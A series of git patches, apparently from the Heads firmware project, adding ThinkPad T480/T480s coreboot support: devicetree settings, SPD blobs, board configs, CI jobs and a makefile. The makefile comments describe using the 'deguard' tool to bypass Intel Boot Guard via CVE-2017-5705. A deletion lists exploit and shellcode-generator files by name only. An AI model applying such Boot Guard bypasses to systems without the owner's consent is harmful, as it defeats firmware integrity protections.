2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT2 - CLKREQ2 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT3 - CLKREQ3 ++ # PCIE 7-8 - RP5 - TB3 - CLKOUT4 - CLKREQ4 ++ # ++ # PCIe controller 3 - 1x4 (lane reversal) ++ # PCIE 9-12 - RP9 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x2 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # M.2 WWAN - x1 ++ device ref pcie_rp4 on ++ register "PcieRpEnable[3]" = "1" ++ register "PcieRpClkReqSupport[3]" = "1" ++ register "PcieRpClkReqNumber[3]" = "1" ++ register "PcieRpClkSrcNumber[3]" = "1" ++ register "PcieRpAdvancedErrorReporting[3]" = "1" ++ register "PcieRpLtrEnable[3]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "2" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "3" ++ register "PcieRpClkSrcNumber[6]" = "3" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "4" ++ register "PcieRpClkSrcNumber[4]" = "4" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ register "PcieRpHotPlug[4]" = "1" ++ end ++ ++ # M.2 2280 SSD - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "5" ++ register "PcieRpClkSrcNumber[8]" = "5" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..86f39ddb55ea9fb58d5e5699637636ef597c734e +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1t+8`-(puhlu3{YAD +YT>%dM8_BI;nL`dsaHtp+rc($20I8n}l>h($ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..df0f6e58b79286a4aeb690c5027adf7a1f5f668b +GIT binary patch +literal 512 +zcmY!u;9+i6oWQ}rz`)GN3?vyic)kGXoSYm%j*<^t3LFfq3@hZcwLwzoK!E`Q8KATR +Yx&j>hH(SqvWezd%<4`dwOs5b40B_I==>Px# + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..24f0d8992bc5244c62488da9633e4885f52f3e22 +GIT binary patch +literal 512 +zcmY!ucy&~OfFg0G3Wp`)phiHWn5fv$6q +PvjPw>z-1}5hGzN!nb#F$ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..59b6b9e78263c42aae367ab7d4a784d888f30efe +GIT binary patch +literal 512 +zcmY!ucy(6E*fVuXjUqlKwqu$iMg7pDLK + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..5f23e86606094d3e5d2011db902ebd4a500bbffa +GIT binary patch +literal 512 +zcmY!u<-XHc140(BZf(&^dxD+@TSQ$QOn`kgpFo@WIT6 +z8Mi42GcX`n2w8lrIa@)p&l&!{<7bq|r;x^SwThHl(6E*fVuXjUqobjFu$i-OkeQ!u +Vn70BDFf^?FkI#a;_$28g2LNS*7)Ag9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..857da9c9828cdac842329f6cef4539283777268b +GIT binary patch +literal 512 +zcmY!uenuv07)YiW2Og2B5w5L42g)>Y3~@6xG%_>sh|)E7H}WzBiW@fQc)?W; +GP6hy+m=i1j + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..b5b14cf2dfa06ae183b0379da4dc825129e1589f +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJU@VRUS6IcN7)B11r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$v*cE=%%S%6I8=-Z(%b$+tzbnnL|62aHtp+rc($20QGqazW@LL + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..829f149547bc24859646c33d5926938d7a1b90cb +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$o8(ro%%OI594bbI=@bG0z{d&v + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..940f1e3cd8e5bd9ea32a82a14edcdcbc8132d8c7 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurjQW(9mG0U=XnZ$x{Q& +z0UPq1A)%L_QJxwGl4(Y*BAFWD+8T7AOcTeDU_*B^6OSleBX=`bLy)jxgN`d)<=|uh +E020*^DF6Tf + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..30c84410d417ef7afa8705c93cdb64a9f4e915a0 +GIT binary patch +literal 512 +zcmY!uW!enxp}7)YiWinU~FgllWifig`TLxK(6%}hL^bdB7N9Ss$Lz^FmT39fQ* +FG5`?&65ap+ + +literal 0 +HcmV?d00001 + +-- +2.39.5 + diff --git a/targets/xx80_me_blobs.mk b/targets/xx80_me_blobs.mk new file mode 100644 index 000000000..dfe485935 --- /dev/null +++ b/targets/xx80_me_blobs.mk @@ -0,0 +1,27 @@ +# Targets for downloading xx80 ME blob, neutering it and deactivating ME. +# This also uses the deguard tool to bypass Intel Boot Guard exploiting CVE-2017-5705. +# See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html + +# xx80-*-maximized boards require of you initially call one of the +# following to have gbe.bin ifd.bin and me.bin +# - blobs/xx80/download_clean_me_and_deguard.sh +# To download Lenovo original ME binary, neuter+deactivate ME, produce +# reduced IFD ME region and expanded BIOS IFD region. +# - blobs/xx80/extract_and_deguard.sh +# To extract ME binary, GBE and IFD blobs and apply the deguard exploit to the the ME binary. + +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/xx80/me.bin + +$(pwd)/blobs/kabylake/Fsp_M.fd: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/kabylake/fetch_split_fsp.sh $(pwd)/blobs/kabylake + +$(pwd)/blobs/kabylake/Fsp_S.fd: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/kabylake/fetch_split_fsp.sh $(pwd)/blobs/kabylake + +$(pwd)/blobs/xx80/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/xx80/download_clean_deguard_me.sh $(pwd)/blobs/xx80 \ No newline at end of file From f9ba787fd1c74a35bc75ffce86b4a71097742b69 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 11:57:24 -0500 Subject: [PATCH 509/619] config/coreboot-t480.config: set CONFIG_FSP_USE_REPO=y otherwise build error Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 715257deb..ff282ab90 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -643,7 +643,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set CONFIG_DRIVERS_I2C_DESIGNWARE=y # CONFIG_DRIVERS_I2C_MAX98396 is not set -# CONFIG_FSP_USE_REPO is not set +CONFIG_FSP_USE_REPO=y # CONFIG_DISPLAY_HOBS is not set # CONFIG_DISPLAY_UPD_DATA is not set # CONFIG_BMP_LOGO is not set From fd55341cf45cd69b962b6bcf0c1f88eb43bb5a93 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 12:14:33 -0500 Subject: [PATCH 510/619] fix t480p-hotp-maximized -> t480-hotp-maximized; unify against x230; add the CircleCI Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 ++- .../t480-hotp-maximized.config | 75 +++++++++++++++++++ boards/t480-maximized/t480-maximized.config | 48 +++++++++--- .../t480-hotp-maximized.config | 7 -- 4 files changed, 120 insertions(+), 20 deletions(-) create mode 100644 boards/t480-hotp-maximized/t480-hotp-maximized.config delete mode 100644 boards/t480p-hotp-maximized/t480-hotp-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index d85279e3e..0f0ba68c3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -510,13 +510,21 @@ workflows: requires: - librem_14 + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build: + name: t480-hotp-maximized + target: t480-hotp-maximized + subcommand: "" + requires: + - x86-musl-cross-make + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: name: t480-maximized target: t480-maximized subcommand: "" requires: - - x86-musl-cross-make + - t480-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config new file mode 100644 index 000000000..fd79aaa9d --- /dev/null +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -0,0 +1,75 @@ +# Configuration for a ThinkPad T480. + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +export CONFIG_TPM=y +#Enable DEBUG output, debug output probably a good idea for first tests +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test +export CONFIG_QUIET_MODE=n +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad T480-hotp-maximized" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" + +# t480 blobs requirements +BOARD_TARGETS += t480_me_blobs diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index ba349d35f..e7068d5be 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,12 +1,20 @@ # Configuration for a ThinkPad T480. -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config -# TODO: Make a ThinkPad-common Linux config file. -CONFIG_LINUX_CONFIG=config/linux-t480.config +# - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=t480 export CONFIG_LINUX_VERSION=6.1.8 +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y @@ -16,23 +24,37 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_POPT=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y #platform locking finalization (PR0) -# Disable for first try, enable when rest works CONFIG_IO386=y export CONFIG_FINALIZE_PLATFORM_LOCKING=y -# Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead -# for a console-based menu. +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -CONFIG_LINUX_USB=y -CONFIG_MOBILE_TETHERING=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests @@ -45,7 +67,9 @@ export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOARD_NAME="ThinkPad T480" +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad T480-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # t480 blobs requirements diff --git a/boards/t480p-hotp-maximized/t480-hotp-maximized.config b/boards/t480p-hotp-maximized/t480-hotp-maximized.config deleted file mode 100644 index e48ee2fee..000000000 --- a/boards/t480p-hotp-maximized/t480-hotp-maximized.config +++ /dev/null @@ -1,7 +0,0 @@ -# Inherit the rest from the base T440p config. -include $(pwd)/boards/t480-maximized/t480-maximized.config - -CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -export CONFIG_BOARD_NAME="ThinkPad T480-hotp-maximized" From ae595f298e53badd90b2baa743fd6d10ff234d4a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 12:50:19 -0500 Subject: [PATCH 511/619] t480: remove blobs/t480 prior work of @notgivenby since we rely on simpler/merged of @gaspar-ilom Signed-off-by: Thierry Laurion --- blobs/t480/.gitignore | 2 - blobs/t480/README.md | 13 - blobs/t480/biosutilities/.gitignore | 5 - blobs/t480/biosutilities/AMI_PFAT_Extract.py | 319 ----- blobs/t480/biosutilities/AMI_UCP_Extract.py | 515 -------- blobs/t480/biosutilities/Apple_EFI_ID.py | 167 --- blobs/t480/biosutilities/Apple_EFI_IM4P.py | 145 --- blobs/t480/biosutilities/Apple_EFI_PBZX.py | 118 -- blobs/t480/biosutilities/Apple_EFI_PKG.py | 148 --- .../t480/biosutilities/Award_BIOS_Extract.py | 74 -- blobs/t480/biosutilities/Dell_PFS_Extract.py | 1067 ----------------- .../t480/biosutilities/Fujitsu_SFX_Extract.py | 89 -- .../t480/biosutilities/Fujitsu_UPC_Extract.py | 44 - .../t480/biosutilities/Insyde_IFD_Extract.py | 217 ---- blobs/t480/biosutilities/LICENSE | 19 - .../biosutilities/Panasonic_BIOS_Extract.py | 209 ---- .../t480/biosutilities/Phoenix_TDK_Extract.py | 243 ---- .../biosutilities/Portwell_EFI_Extract.py | 136 --- blobs/t480/biosutilities/README.md | 552 --------- .../t480/biosutilities/Toshiba_COM_Extract.py | 63 - .../biosutilities/VAIO_Package_Extract.py | 147 --- blobs/t480/biosutilities/common/checksums.py | 25 - blobs/t480/biosutilities/common/comp_efi.py | 57 - blobs/t480/biosutilities/common/comp_szip.py | 72 -- blobs/t480/biosutilities/common/externals.py | 38 - blobs/t480/biosutilities/common/num_ops.py | 14 - blobs/t480/biosutilities/common/path_ops.py | 154 --- blobs/t480/biosutilities/common/patterns.py | 34 - blobs/t480/biosutilities/common/pe_ops.py | 49 - blobs/t480/biosutilities/common/struct_ops.py | 28 - blobs/t480/biosutilities/common/system.py | 68 -- blobs/t480/biosutilities/common/templates.py | 162 --- blobs/t480/biosutilities/common/text_ops.py | 33 - .../biosutilities/external/requirements.txt | 2 - blobs/t480/deguard/.gitignore | 2 - blobs/t480/deguard/README.md | 81 -- .../home/bup/bup_sku/emu_fuse_map | Bin 7 -> 0 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 18 -> 0 bytes .../optiplex_3050/home/bup/bup_sku/plat_n_sku | 1 - .../data/delta/optiplex_3050/home/bup/mbp | Bin 44 -> 0 bytes .../delta/optiplex_3050/home/gpio/csme_pins | 0 .../data/delta/optiplex_3050/home/icc/dynregs | Bin 36 -> 0 bytes .../data/delta/optiplex_3050/home/icc/header | Bin 4 -> 0 bytes .../data/delta/optiplex_3050/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/optiplex_3050/home/icc/prof0 | Bin 120 -> 0 bytes .../data/delta/optiplex_3050/home/icc/prof1 | 0 .../data/delta/optiplex_3050/home/icc/prof10 | 0 .../data/delta/optiplex_3050/home/icc/prof2 | 0 .../data/delta/optiplex_3050/home/icc/prof3 | 0 .../data/delta/optiplex_3050/home/icc/prof4 | 0 .../data/delta/optiplex_3050/home/icc/prof5 | 0 .../data/delta/optiplex_3050/home/icc/prof6 | 0 .../data/delta/optiplex_3050/home/icc/prof7 | 0 .../data/delta/optiplex_3050/home/icc/prof8 | 0 .../data/delta/optiplex_3050/home/icc/prof9 | 0 .../data/delta/optiplex_3050/home/mca/eom | 1 - .../delta/optiplex_3050/home/mca/ish_policy | Bin 1 -> 0 bytes .../optiplex_3050/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../optiplex_3050/home/policy/hci/sysintid1 | 1 - .../optiplex_3050/home/policy/hci/sysintid2 | 1 - .../optiplex_3050/home/policy/hci/sysintid3 | 1 - .../optiplex_3050/home/policy/pwdmgr/segreto | 1 - .../home/bup/bup_sku/emu_fuse_map | Bin 7 -> 0 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 18 -> 0 bytes .../thinkpad_t480/home/bup/bup_sku/plat_n_sku | Bin 4 -> 0 bytes .../delta/thinkpad_t480/home/bup/invokemebx | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480/home/bup/mbp | Bin 52 -> 0 bytes .../delta/thinkpad_t480/home/gpio/csme_pins | 0 .../data/delta/thinkpad_t480/home/icc/dynregs | Bin 28 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/header | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/prof1 | 0 .../data/delta/thinkpad_t480/home/icc/prof10 | 0 .../data/delta/thinkpad_t480/home/icc/prof2 | 0 .../data/delta/thinkpad_t480/home/icc/prof3 | 0 .../data/delta/thinkpad_t480/home/icc/prof4 | 0 .../data/delta/thinkpad_t480/home/icc/prof5 | 0 .../data/delta/thinkpad_t480/home/icc/prof6 | 0 .../data/delta/thinkpad_t480/home/icc/prof7 | 0 .../data/delta/thinkpad_t480/home/icc/prof8 | 0 .../data/delta/thinkpad_t480/home/icc/prof9 | 0 .../data/delta/thinkpad_t480/home/mca/eom | 1 - .../delta/thinkpad_t480/home/mca/ish_policy | Bin 1 -> 0 bytes .../thinkpad_t480/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/Bist/auto_config | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../thinkpad_t480/home/policy/hci/sysintid1 | 2 - .../thinkpad_t480/home/policy/hci/sysintid2 | 1 - .../thinkpad_t480/home/policy/hci/sysintid3 | 1 - .../thinkpad_t480/home/policy/pwdmgr/segreto | 1 - .../home/bup/bup_sku/plat_n_sku | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480s/home/bup/mbp | Bin 44 -> 0 bytes .../delta/thinkpad_t480s/home/gpio/csme_pins | 0 .../delta/thinkpad_t480s/home/icc/dynregs | Bin 28 -> 0 bytes .../data/delta/thinkpad_t480s/home/icc/header | Bin 4 -> 0 bytes .../delta/thinkpad_t480s/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/thinkpad_t480s/home/icc/prof1 | 0 .../data/delta/thinkpad_t480s/home/icc/prof10 | 0 .../data/delta/thinkpad_t480s/home/icc/prof2 | 0 .../data/delta/thinkpad_t480s/home/icc/prof3 | 0 .../data/delta/thinkpad_t480s/home/icc/prof4 | 0 .../data/delta/thinkpad_t480s/home/icc/prof5 | 0 .../data/delta/thinkpad_t480s/home/icc/prof6 | 0 .../data/delta/thinkpad_t480s/home/icc/prof7 | 0 .../data/delta/thinkpad_t480s/home/icc/prof8 | 0 .../data/delta/thinkpad_t480s/home/icc/prof9 | 0 .../data/delta/thinkpad_t480s/home/mca/eom | 1 - .../delta/thinkpad_t480s/home/mca/ish_policy | Bin 1 -> 0 bytes .../thinkpad_t480s/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/Bist/auto_config | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../thinkpad_t480s/home/policy/hci/sysintid1 | 1 - .../thinkpad_t480s/home/policy/hci/sysintid2 | 1 - .../thinkpad_t480s/home/policy/hci/sysintid3 | 1 - blobs/t480/deguard/data/fpfs/optiplex_3050 | Bin 256 -> 0 bytes blobs/t480/deguard/data/fpfs/thinkpad_t480 | Bin 256 -> 0 bytes blobs/t480/deguard/data/fpfs/zero | Bin 256 -> 0 bytes blobs/t480/deguard/doc/COPYING.txt | 339 ------ blobs/t480/deguard/doc/LICENSE.orig | 17 - blobs/t480/deguard/finalimage.py | 111 -- blobs/t480/deguard/gen_shellcode.py | 24 - blobs/t480/deguard/generatedelta.py | 76 -- blobs/t480/deguard/lib/cfg.py | 272 ----- blobs/t480/deguard/lib/exploit.py | 265 ---- blobs/t480/deguard/lib/image.py | 127 -- blobs/t480/deguard/lib/mfs.py | 508 -------- blobs/t480/deguard/mfsutil.py | 173 --- blobs/t480/download-clean-deguard-me.sh | 97 -- blobs/t480/gbe | Bin 8192 -> 0 bytes blobs/t480/ifd_16 | Bin 4096 -> 0 bytes blobs/t480/me_cleaner/README.md | 85 -- blobs/t480/me_cleaner/description.md | 2 - blobs/t480/me_cleaner/man/me_cleaner.1 | 157 --- blobs/t480/me_cleaner/me_cleaner.py | 884 -------------- blobs/t480/me_cleaner/setup.py | 22 - 136 files changed, 8286 deletions(-) delete mode 100644 blobs/t480/.gitignore delete mode 100644 blobs/t480/README.md delete mode 100644 blobs/t480/biosutilities/.gitignore delete mode 100644 blobs/t480/biosutilities/AMI_PFAT_Extract.py delete mode 100644 blobs/t480/biosutilities/AMI_UCP_Extract.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_ID.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_IM4P.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_PBZX.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_PKG.py delete mode 100644 blobs/t480/biosutilities/Award_BIOS_Extract.py delete mode 100644 blobs/t480/biosutilities/Dell_PFS_Extract.py delete mode 100644 blobs/t480/biosutilities/Fujitsu_SFX_Extract.py delete mode 100644 blobs/t480/biosutilities/Fujitsu_UPC_Extract.py 